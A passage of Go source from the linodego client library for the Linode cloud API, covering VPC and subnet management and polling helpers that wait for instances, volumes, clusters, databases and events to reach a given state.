DeleteVolume deletes the Volume with the specified id func (c *Client) DeleteVolume(ctx context.Context, volumeID int) error { e := fmt.Sprintf("volumes/%d", volumeID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } golang-github-linode-linodego-1.28.0/vpc.go000066400000000000000000000067611455402072200205310ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) type VPC struct { ID int `json:"id"` Label string `json:"label"` Description string `json:"description"` Region string `json:"region"` Subnets []VPCSubnet `json:"subnets"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` } type VPCCreateOptions struct { Label string `json:"label"` Description string `json:"description,omitempty"` Region string `json:"region"` Subnets []VPCSubnetCreateOptions `json:"subnets,omitempty"` } type VPCUpdateOptions struct { Label string `json:"label,omitempty"` Description string `json:"description,omitempty"` } type VPCsPagedResponse struct { *PageOptions Data []VPC `json:"data"` } func (VPCsPagedResponse) endpoint(_ ...any) string { return "vpcs" } func (resp *VPCsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(VPCsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*VPCsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } func (v VPC) GetCreateOptions() VPCCreateOptions { subnetCreations := make([]VPCSubnetCreateOptions, len(v.Subnets)) for i, s := range v.Subnets { subnetCreations[i] = s.GetCreateOptions() } return VPCCreateOptions{ Label: v.Label, Description: v.Description, Region: v.Region, Subnets: subnetCreations, } } func (v VPC) GetUpdateOptions() VPCUpdateOptions { return VPCUpdateOptions{ Label: v.Label, Description: v.Description, } } func (v *VPC) UnmarshalJSON(b []byte) error { type Mask VPC p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(v), } if err := json.Unmarshal(b, &p); err != nil { return err } v.Created = (*time.Time)(p.Created) v.Updated = (*time.Time)(p.Updated) return nil } func (c *Client) CreateVPC( ctx context.Context, opts VPCCreateOptions, ) (*VPC, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } req := c.R(ctx).SetResult(&VPC{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post("vpcs")) if err != nil { return nil, err } return r.Result().(*VPC), nil } func (c *Client) GetVPC(ctx context.Context, vpcID int) (*VPC, error) { e := fmt.Sprintf("/vpcs/%d", vpcID) req := c.R(ctx).SetResult(&VPC{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*VPC), nil } func (c *Client) ListVPCs(ctx context.Context, opts *ListOptions) ([]VPC, error) { response := VPCsPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } func (c *Client) UpdateVPC( ctx context.Context, vpcID int, opts VPCUpdateOptions, ) (*VPC, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf("vpcs/%d", vpcID) req := c.R(ctx).SetResult(&VPC{}).SetBody(body) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*VPC), nil } func (c *Client) DeleteVPC(ctx context.Context, vpcID int) error { e := fmt.Sprintf("vpcs/%d", vpcID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } golang-github-linode-linodego-1.28.0/vpc_subnet.go000066400000000000000000000074721455402072200221110ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) // VPCSubnetLinodeInterface represents an interface on a Linode that is currently // assigned to this VPC subnet. type VPCSubnetLinodeInterface struct { ID int `json:"id"` Active bool `json:"active"` } // VPCSubnetLinode represents a Linode currently assigned to a VPC subnet. type VPCSubnetLinode struct { ID int `json:"id"` Interfaces []VPCSubnetLinodeInterface `json:"interfaces"` } type VPCSubnet struct { ID int `json:"id"` Label string `json:"label"` IPv4 string `json:"ipv4"` Linodes []VPCSubnetLinode `json:"linodes"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` } type VPCSubnetCreateOptions struct { Label string `json:"label"` IPv4 string `json:"ipv4"` } type VPCSubnetUpdateOptions struct { Label string `json:"label"` } type VPCSubnetsPagedResponse struct { *PageOptions Data []VPCSubnet `json:"data"` } func (VPCSubnetsPagedResponse) endpoint(ids ...any) string { id := ids[0].(int) return fmt.Sprintf("vpcs/%d/subnets", id) } func (resp *VPCSubnetsPagedResponse) castResult( r *resty.Request, e string, ) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(VPCSubnetsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*VPCSubnetsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } func (v *VPCSubnet) UnmarshalJSON(b []byte) error { type Mask VPCSubnet p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(v), } if err := json.Unmarshal(b, &p); err != nil { return err } v.Created = (*time.Time)(p.Created) v.Updated = (*time.Time)(p.Updated) return nil } func (v VPCSubnet) GetCreateOptions() VPCSubnetCreateOptions { return VPCSubnetCreateOptions{ Label: v.Label, IPv4: v.IPv4, } } func (v VPCSubnet) GetUpdateOptions() VPCSubnetUpdateOptions { return VPCSubnetUpdateOptions{Label: v.Label} } func (c *Client) CreateVPCSubnet( ctx context.Context, opts VPCSubnetCreateOptions, vpcID int, ) (*VPCSubnet, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } req := c.R(ctx).SetResult(&VPCSubnet{}).SetBody(string(body)) e := fmt.Sprintf("vpcs/%d/subnets", vpcID) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*VPCSubnet), nil } func (c *Client) GetVPCSubnet( ctx context.Context, vpcID int, subnetID int, ) (*VPCSubnet, error) { req := c.R(ctx).SetResult(&VPCSubnet{}) e := fmt.Sprintf("vpcs/%d/subnets/%d", vpcID, subnetID) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*VPCSubnet), nil } func (c *Client) ListVPCSubnets( ctx context.Context, vpcID int, opts *ListOptions, ) ([]VPCSubnet, error) { response := VPCSubnetsPagedResponse{} err := c.listHelper(ctx, &response, opts, vpcID) if err != nil { return nil, err } return response.Data, nil } func (c *Client) UpdateVPCSubnet( ctx context.Context, vpcID int, subnetID int, opts VPCSubnetUpdateOptions, ) (*VPCSubnet, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } req := c.R(ctx).SetResult(&VPCSubnet{}).SetBody(body) e := fmt.Sprintf("vpcs/%d/subnets/%d", vpcID, subnetID) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*VPCSubnet), nil } func (c *Client) DeleteVPCSubnet(ctx context.Context, vpcID int, subnetID int) error { e := fmt.Sprintf("vpcs/%d/subnets/%d", vpcID, subnetID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } golang-github-linode-linodego-1.28.0/waitfor.go000066400000000000000000000537611455402072200214160ustar00rootroot00000000000000package linodego import ( "context" "fmt" "log" "net/http" "strconv" "time" "golang.org/x/text/cases" "golang.org/x/text/language" ) var englishTitle = cases.Title(language.English) type EventPoller struct { EntityID any EntityType EntityType // Type is excluded here because it is implicitly determined // by the event action. SecondaryEntityID any Action EventAction client Client previousEvents map[int]bool } // WaitForInstanceStatus waits for the Linode instance to reach the desired state // before returning. It will timeout with an error after timeoutSeconds. func (client Client) WaitForInstanceStatus(ctx context.Context, instanceID int, status InstanceStatus, timeoutSeconds int) (*Instance, error) { ctx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) defer cancel() ticker := time.NewTicker(client.pollInterval) defer ticker.Stop() for { select { case <-ticker.C: instance, err := client.GetInstance(ctx, instanceID) if err != nil { return instance, err } complete := (instance.Status == status) if complete { return instance, nil } case <-ctx.Done(): return nil, fmt.Errorf("Error waiting for Instance %d status %s: %w", instanceID, status, ctx.Err()) } } } // WaitForInstanceDiskStatus waits for the Linode instance disk to reach the desired state // before returning. It will timeout with an error after timeoutSeconds. func (client Client) WaitForInstanceDiskStatus(ctx context.Context, instanceID int, diskID int, status DiskStatus, timeoutSeconds int) (*InstanceDisk, error) { ctx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) defer cancel() ticker := time.NewTicker(client.pollInterval) defer ticker.Stop() for { select { case <-ticker.C: // GetInstanceDisk will 404 on newly created disks. use List instead. // disk, err := client.GetInstanceDisk(ctx, instanceID, diskID) disks, err := client.ListInstanceDisks(ctx, instanceID, nil) if err != nil { return nil, err } for _, disk := range disks { disk := disk if disk.ID == diskID { complete := (disk.Status == status) if complete { return &disk, nil } break } } case <-ctx.Done(): return nil, fmt.Errorf("Error waiting for Instance %d Disk %d status %s: %w", instanceID, diskID, status, ctx.Err()) } } } // WaitForVolumeStatus waits for the Volume to reach the desired state // before returning. It will timeout with an error after timeoutSeconds. func (client Client) WaitForVolumeStatus(ctx context.Context, volumeID int, status VolumeStatus, timeoutSeconds int) (*Volume, error) { ctx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) defer cancel() ticker := time.NewTicker(client.pollInterval) defer ticker.Stop() for { select { case <-ticker.C: volume, err := client.GetVolume(ctx, volumeID) if err != nil { return volume, err } complete := (volume.Status == status) if complete { return volume, nil } case <-ctx.Done(): return nil, fmt.Errorf("Error waiting for Volume %d status %s: %w", volumeID, status, ctx.Err()) } } } // WaitForSnapshotStatus waits for the Snapshot to reach the desired state // before returning. It will timeout with an error after timeoutSeconds. func (client Client) WaitForSnapshotStatus(ctx context.Context, instanceID int, snapshotID int, status InstanceSnapshotStatus, timeoutSeconds int) (*InstanceSnapshot, error) { ctx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) defer cancel() ticker := time.NewTicker(client.pollInterval) defer ticker.Stop() for { select { case <-ticker.C: snapshot, err := client.GetInstanceSnapshot(ctx, instanceID, snapshotID) if err != nil { return snapshot, err } complete := (snapshot.Status == status) if complete { return snapshot, nil } case <-ctx.Done(): return nil, fmt.Errorf("Error waiting for Instance %d Snapshot %d status %s: %w", instanceID, snapshotID, status, ctx.Err()) } } } // WaitForVolumeLinodeID waits for the Volume to match the desired LinodeID // before returning. An active Instance will not immediately attach or detach a volume, so // the LinodeID must be polled to determine volume readiness from the API. // WaitForVolumeLinodeID will timeout with an error after timeoutSeconds. func (client Client) WaitForVolumeLinodeID(ctx context.Context, volumeID int, linodeID *int, timeoutSeconds int) (*Volume, error) { ctx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) defer cancel() ticker := time.NewTicker(client.pollInterval) defer ticker.Stop() for { select { case <-ticker.C: volume, err := client.GetVolume(ctx, volumeID) if err != nil { return volume, err } switch { case linodeID == nil && volume.LinodeID == nil: return volume, nil case linodeID == nil || volume.LinodeID == nil: // continue waiting case *volume.LinodeID == *linodeID: return volume, nil } case <-ctx.Done(): return nil, fmt.Errorf("Error waiting for Volume %d to have Instance %v: %w", volumeID, linodeID, ctx.Err()) } } } // WaitForLKEClusterStatus waits for the LKECluster to reach the desired state // before returning. It will timeout with an error after timeoutSeconds. func (client Client) WaitForLKEClusterStatus(ctx context.Context, clusterID int, status LKEClusterStatus, timeoutSeconds int) (*LKECluster, error) { ctx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) defer cancel() ticker := time.NewTicker(client.pollInterval) defer ticker.Stop() for { select { case <-ticker.C: cluster, err := client.GetLKECluster(ctx, clusterID) if err != nil { return cluster, err } complete := (cluster.Status == status) if complete { return cluster, nil } case <-ctx.Done(): return nil, fmt.Errorf("Error waiting for Cluster %d status %s: %w", clusterID, status, ctx.Err()) } } } // LKEClusterPollOptions configures polls against LKE Clusters. type LKEClusterPollOptions struct { // Retry will cause the Poll to ignore interimittent errors Retry bool // TimeoutSeconds is the number of Seconds to wait for the poll to succeed // before exiting. TimeoutSeconds int // TansportWrapper allows adding a transport middleware function that will // wrap the LKE Cluster client's underlying http.RoundTripper. TransportWrapper func(http.RoundTripper) http.RoundTripper } type ClusterConditionOptions struct { LKEClusterKubeconfig *LKEClusterKubeconfig TransportWrapper func(http.RoundTripper) http.RoundTripper } // ClusterConditionFunc represents a function that tests a condition against an LKE cluster, // returns true if the condition has been reached, false if it has not yet been reached. type ClusterConditionFunc func(context.Context, ClusterConditionOptions) (bool, error) // WaitForLKEClusterConditions waits for the given LKE conditions to be true func (client Client) WaitForLKEClusterConditions( ctx context.Context, clusterID int, options LKEClusterPollOptions, conditions ...ClusterConditionFunc, ) error { ctx, cancel := context.WithCancel(ctx) if options.TimeoutSeconds != 0 { ctx, cancel = context.WithTimeout(ctx, time.Duration(options.TimeoutSeconds)*time.Second) } defer cancel() lkeKubeConfig, err := client.GetLKEClusterKubeconfig(ctx, clusterID) if err != nil { return fmt.Errorf("failed to get Kubeconfig for LKE cluster %d: %w", clusterID, err) } ticker := time.NewTicker(client.pollInterval) defer ticker.Stop() conditionOptions := ClusterConditionOptions{LKEClusterKubeconfig: lkeKubeConfig, TransportWrapper: options.TransportWrapper} for _, condition := range conditions { ConditionSucceeded: for { select { case <-ticker.C: result, err := condition(ctx, conditionOptions) if err != nil { log.Printf("[WARN] Ignoring WaitForLKEClusterConditions conditional error: %s", err) if !options.Retry { return err } } if result { break ConditionSucceeded } case <-ctx.Done(): return fmt.Errorf("Error waiting for cluster %d conditions: %w", clusterID, ctx.Err()) } } } return nil } // WaitForEventFinished waits for an entity action to reach the 'finished' state // before returning. It will timeout with an error after timeoutSeconds. // If the event indicates a failure both the failed event and the error will be returned. // nolint func (client Client) WaitForEventFinished( ctx context.Context, id any, entityType EntityType, action EventAction, minStart time.Time, timeoutSeconds int, ) (*Event, error) { titledEntityType := englishTitle.String(string(entityType)) filter := Filter{ Order: Descending, OrderBy: "created", } filter.AddField(Eq, "action", action) filter.AddField(Gte, "created", minStart.UTC().Format("2006-01-02T15:04:05")) // Optimistically restrict results to page 1. We should remove this when more // precise filtering options exist. pages := 1 // The API has limitted filtering support for Event ID and Event Type // Optimize the list, if possible switch entityType { case EntityDisk, EntityDatabase, EntityLinode, EntityDomain, EntityNodebalancer: // All of the filter supported types have int ids filterableEntityID, err := strconv.Atoi(fmt.Sprintf("%v", id)) if err != nil { return nil, fmt.Errorf("error parsing Entity ID %q for optimized "+ "WaitForEventFinished EventType %q: %w", id, entityType, err) } filter.AddField(Eq, "entity.id", filterableEntityID) filter.AddField(Eq, "entity.type", entityType) } ctx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) defer cancel() if deadline, ok := ctx.Deadline(); ok { duration := time.Until(deadline) log.Printf("[INFO] Waiting %d seconds for %s events since %v for %s %v", int(duration.Seconds()), action, minStart, titledEntityType, id) } ticker := time.NewTicker(client.pollInterval) // avoid repeating log messages nextLog := "" lastLog := "" lastEventID := 0 defer ticker.Stop() for { select { case <-ticker.C: if lastEventID > 0 { filter.AddField(Gte, "id", lastEventID) } filterStr, err := filter.MarshalJSON() if err != nil { return nil, err } listOptions := NewListOptions(pages, string(filterStr)) events, err := client.ListEvents(ctx, listOptions) if err != nil { return nil, err } // If there are events for this instance + action, inspect them for _, event := range events { event := event if event.Entity == nil || event.Entity.Type != entityType { // log.Println("type mismatch", event.Entity.Type, entityType) continue } var entID string switch id := event.Entity.ID.(type) { case float64, float32: entID = fmt.Sprintf("%.f", id) case int: entID = strconv.Itoa(id) default: entID = fmt.Sprintf("%v", id) } var findID string switch id := id.(type) { case float64, float32: findID = fmt.Sprintf("%.f", id) case int: findID = strconv.Itoa(id) default: findID = fmt.Sprintf("%v", id) } if entID != findID { // log.Println("id mismatch", entID, findID) continue } if event.Created == nil { log.Printf("[WARN] event.Created is nil when API returned: %#+v", event.Created) } // This is the event we are looking for. Save our place. if lastEventID == 0 { lastEventID = event.ID } switch event.Status { case EventFailed: return &event, fmt.Errorf("%s %v action %s failed", titledEntityType, id, action) case EventFinished: log.Printf("[INFO] %s %v action %s is finished", titledEntityType, id, action) return &event, nil } nextLog = fmt.Sprintf("[INFO] %s %v action %s is %s", titledEntityType, id, action, event.Status) } // de-dupe logging statements if nextLog != lastLog { log.Print(nextLog) lastLog = nextLog } case <-ctx.Done(): return nil, fmt.Errorf("Error waiting for Event Status '%s' of %s %v action '%s': %w", EventFinished, titledEntityType, id, action, ctx.Err()) } } } // WaitForImageStatus waits for the Image to reach the desired state // before returning. It will timeout with an error after timeoutSeconds. func (client Client) WaitForImageStatus(ctx context.Context, imageID string, status ImageStatus, timeoutSeconds int) (*Image, error) { ctx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) defer cancel() ticker := time.NewTicker(client.pollInterval) defer ticker.Stop() for { select { case <-ticker.C: image, err := client.GetImage(ctx, imageID) if err != nil { return image, err } complete := image.Status == status if complete { return image, nil } case <-ctx.Done(): return nil, fmt.Errorf("failed to wait for Image %s status %s: %w", imageID, status, ctx.Err()) } } } // WaitForMySQLDatabaseBackup waits for the backup with the given label to be available. func (client Client) WaitForMySQLDatabaseBackup(ctx context.Context, dbID int, label string, timeoutSeconds int) (*MySQLDatabaseBackup, error) { ctx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) defer cancel() ticker := time.NewTicker(client.pollInterval) defer ticker.Stop() for { select { case <-ticker.C: backups, err := client.ListMySQLDatabaseBackups(ctx, dbID, nil) if err != nil { return nil, err } for _, backup := range backups { if backup.Label == label { return &backup, nil } } case <-ctx.Done(): return nil, fmt.Errorf("failed to wait for backup %s: %w", label, ctx.Err()) } } } // WaitForPostgresDatabaseBackup waits for the backup with the given label to be available. func (client Client) WaitForPostgresDatabaseBackup(ctx context.Context, dbID int, label string, timeoutSeconds int) (*PostgresDatabaseBackup, error) { ctx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) defer cancel() ticker := time.NewTicker(client.pollInterval) defer ticker.Stop() for { select { case <-ticker.C: backups, err := client.ListPostgresDatabaseBackups(ctx, dbID, nil) if err != nil { return nil, err } for _, backup := range backups { if backup.Label == label { return &backup, nil } } case <-ctx.Done(): return nil, fmt.Errorf("failed to wait for backup %s: %w", label, ctx.Err()) } } } type databaseStatusFunc func(ctx context.Context, client Client, dbID int) (DatabaseStatus, error) var databaseStatusHandlers = map[DatabaseEngineType]databaseStatusFunc{ DatabaseEngineTypeMySQL: func(ctx context.Context, client Client, dbID int) (DatabaseStatus, error) { db, err := client.GetMySQLDatabase(ctx, dbID) if err != nil { return "", err } return db.Status, nil }, DatabaseEngineTypePostgres: func(ctx context.Context, client Client, dbID int) (DatabaseStatus, error) { db, err := client.GetPostgresDatabase(ctx, dbID) if err != nil { return "", err } return db.Status, nil }, } // WaitForDatabaseStatus waits for the provided database to have the given status. func (client Client) WaitForDatabaseStatus( ctx context.Context, dbID int, dbEngine DatabaseEngineType, status DatabaseStatus, timeoutSeconds int, ) error { ctx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) defer cancel() ticker := time.NewTicker(client.pollInterval) defer ticker.Stop() for { select { case <-ticker.C: statusHandler, ok := databaseStatusHandlers[dbEngine] if !ok { return fmt.Errorf("invalid db engine: %s", dbEngine) } currentStatus, err := statusHandler(ctx, client, dbID) if err != nil { return fmt.Errorf("failed to get db status: %w", err) } if currentStatus == status { return nil } case <-ctx.Done(): return fmt.Errorf("failed to wait for database %d status: %w", dbID, ctx.Err()) } } } // NewEventPoller initializes a new Linode event poller. This should be run before the event is triggered as it stores // the previous state of the entity's events. func (client Client) NewEventPoller( ctx context.Context, id any, entityType EntityType, action EventAction, ) (*EventPoller, error) { result := EventPoller{ EntityID: id, EntityType: entityType, Action: action, client: client, } if err := result.PreTask(ctx); err != nil { return nil, fmt.Errorf("failed to run pretask: %w", err) } return &result, nil } // NewEventPollerWithSecondary initializes a new Linode event poller with for events with a // specific secondary entity. func (client Client) NewEventPollerWithSecondary( ctx context.Context, id any, primaryEntityType EntityType, secondaryID int, action EventAction, ) (*EventPoller, error) { poller, err := client.NewEventPoller(ctx, id, primaryEntityType, action) if err != nil { return nil, err } poller.SecondaryEntityID = secondaryID return poller, nil } // NewEventPollerWithoutEntity initializes a new Linode event poller without a target entity ID. // This is useful for create events where the ID of the entity is not yet known. // For example: // p, _ := client.NewEventPollerWithoutEntity(...) // inst, _ := client.CreateInstance(...) // p.EntityID = inst.ID // ... func (client Client) NewEventPollerWithoutEntity(entityType EntityType, action EventAction) (*EventPoller, error) { result := EventPoller{ EntityType: entityType, Action: action, EntityID: 0, previousEvents: make(map[int]bool, 0), client: client, } return &result, nil } // PreTask stores all current events for the given entity to prevent them from being // processed on subsequent runs. func (p *EventPoller) PreTask(ctx context.Context) error { f := Filter{ OrderBy: "created", Order: Descending, } f.AddField(Eq, "entity.type", p.EntityType) f.AddField(Eq, "entity.id", p.EntityID) f.AddField(Eq, "action", p.Action) fBytes, err := f.MarshalJSON() if err != nil { return err } events, err := p.client.ListEvents(ctx, &ListOptions{ Filter: string(fBytes), PageOptions: &PageOptions{Page: 1}, }) if err != nil { return fmt.Errorf("failed to list events: %w", err) } eventIDs := make(map[int]bool, len(events)) for _, event := range events { eventIDs[event.ID] = true } p.previousEvents = eventIDs return nil } func (p *EventPoller) WaitForLatestUnknownEvent(ctx context.Context) (*Event, error) { ticker := time.NewTicker(p.client.pollInterval) defer ticker.Stop() f := Filter{ OrderBy: "created", Order: Descending, } f.AddField(Eq, "entity.type", p.EntityType) f.AddField(Eq, "entity.id", p.EntityID) f.AddField(Eq, "action", p.Action) fBytes, err := f.MarshalJSON() if err != nil { return nil, err } listOpts := ListOptions{ Filter: string(fBytes), PageOptions: &PageOptions{Page: 1}, } for { select { case <-ticker.C: events, err := p.client.ListEvents(ctx, &listOpts) if err != nil { return nil, fmt.Errorf("failed to list events: %w", err) } for _, event := range events { if p.SecondaryEntityID != nil && !eventMatchesSecondary(p.SecondaryEntityID, event) { continue } if _, ok := p.previousEvents[event.ID]; !ok { // Store this event so it is no longer picked up // on subsequent jobs p.previousEvents[event.ID] = true return &event, nil } } case <-ctx.Done(): return nil, fmt.Errorf("failed to wait for event: %w", ctx.Err()) } } } // WaitForFinished waits for a new event to be finished. func (p *EventPoller) WaitForFinished( ctx context.Context, timeoutSeconds int, ) (*Event, error) { ctx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) defer cancel() ticker := time.NewTicker(p.client.pollInterval) defer ticker.Stop() event, err := p.WaitForLatestUnknownEvent(ctx) if err != nil { return nil, fmt.Errorf("failed to wait for event: %w", err) } for { select { case <-ticker.C: event, err := p.client.GetEvent(ctx, event.ID) if err != nil { return nil, fmt.Errorf("failed to get event: %w", err) } switch event.Status { case EventFinished: return event, nil case EventFailed: return nil, fmt.Errorf("event %d has failed", event.ID) case EventScheduled, EventStarted, EventNotification: continue } case <-ctx.Done(): return nil, fmt.Errorf("failed to wait for event finished: %w", ctx.Err()) } } } // WaitForResourceFree waits for a resource to have no running events. func (client Client) WaitForResourceFree( ctx context.Context, entityType EntityType, entityID any, timeoutSeconds int, ) error { apiFilter := Filter{ Order: Descending, OrderBy: "created", } apiFilter.AddField(Eq, "entity.id", entityID) apiFilter.AddField(Eq, "entity.type", entityType) filterStr, err := apiFilter.MarshalJSON() if err != nil { return fmt.Errorf("failed to create filter: %s", err) } ctx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) defer cancel() ticker := time.NewTicker(client.pollInterval) defer ticker.Stop() // A helper function to determine whether a resource is busy checkIsBusy := func(events []Event) bool { for _, event := range events { if event.Status == EventStarted || event.Status == EventScheduled { return true } } return false } for { select { case <-ticker.C: events, err := client.ListEvents(ctx, &ListOptions{ Filter: string(filterStr), }) if err != nil { return fmt.Errorf("failed to list events: %s", err) } if !checkIsBusy(events) { return nil } case <-ctx.Done(): return fmt.Errorf("failed to wait for resource free: %s", ctx.Err()) } } } // eventMatchesSecondary returns whether the given event's secondary entity // matches the configured secondary ID. // This logic has been broken out to improve readability. func eventMatchesSecondary(configuredID any, e Event) bool { // We should return false if the event has no secondary entity. // e.g. A previous disk deletion has completed. if e.SecondaryEntity == nil { return false } secondaryID := e.SecondaryEntity.ID // Evil hack to correct IDs parsed as floats if value, ok := secondaryID.(float64); ok { secondaryID = int(value) } return secondaryID == configuredID }